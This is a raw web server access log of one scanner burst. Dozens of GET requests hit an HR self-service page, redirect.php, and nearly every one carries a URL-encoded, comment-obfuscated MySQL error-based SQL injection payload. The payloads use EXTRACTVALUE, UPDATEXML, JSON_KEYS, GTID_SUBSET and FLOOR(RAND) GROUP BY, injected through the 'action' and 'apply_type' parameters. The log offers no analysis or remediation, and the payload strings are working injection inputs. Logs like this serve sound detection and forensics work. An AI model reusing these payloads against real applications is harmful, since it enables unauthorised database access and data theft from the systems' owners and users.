100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x43736677%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6655736a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x474e5463%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c715a63%29%29%2C1%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x474e5463%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c715a63%29%29%2C1%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a384d4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74796b37%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a384d4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74796b37%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d663275%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57397432%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d663275%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57397432%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4939346c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x646b7a58%29%29%2C1%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4939346c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x646b7a58%29%29%2C1%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x36737550%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a793630%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x36737550%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a793630%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x44565834%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7063657a%29%29x%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x44565834%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7063657a%29%29x%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x414d5436%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42475642%29%29x%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x414d5436%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42475642%29%29x%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7074474d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x674c3541%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7074474d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x674c3541%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x5a374c6a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41477465%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x5a374c6a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41477465%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4c554733%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a667053%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4c554733%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a667053%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x73357367%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x494c7554%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x73357367%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x494c7554%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x32724762%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x347a784f%29%2C5431%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x32724762%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x347a784f%29%2C5431%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5a396e61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x664b6f77%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5a396e61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x664b6f77%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6c644b66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48616742%29%2C5431%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6c644b66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48616742%29%2C5431%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x34495478%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a71674b%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x34495478%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a71674b%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x47586867%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71785247%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x47586867%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71785247%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x64797537%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42567772%29%2C6420%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x64797537%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42567772%29%2C6420%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x764a6252%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a307375%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x764a6252%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a307375%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x50774170%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37344854%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x50774170%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37344854%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
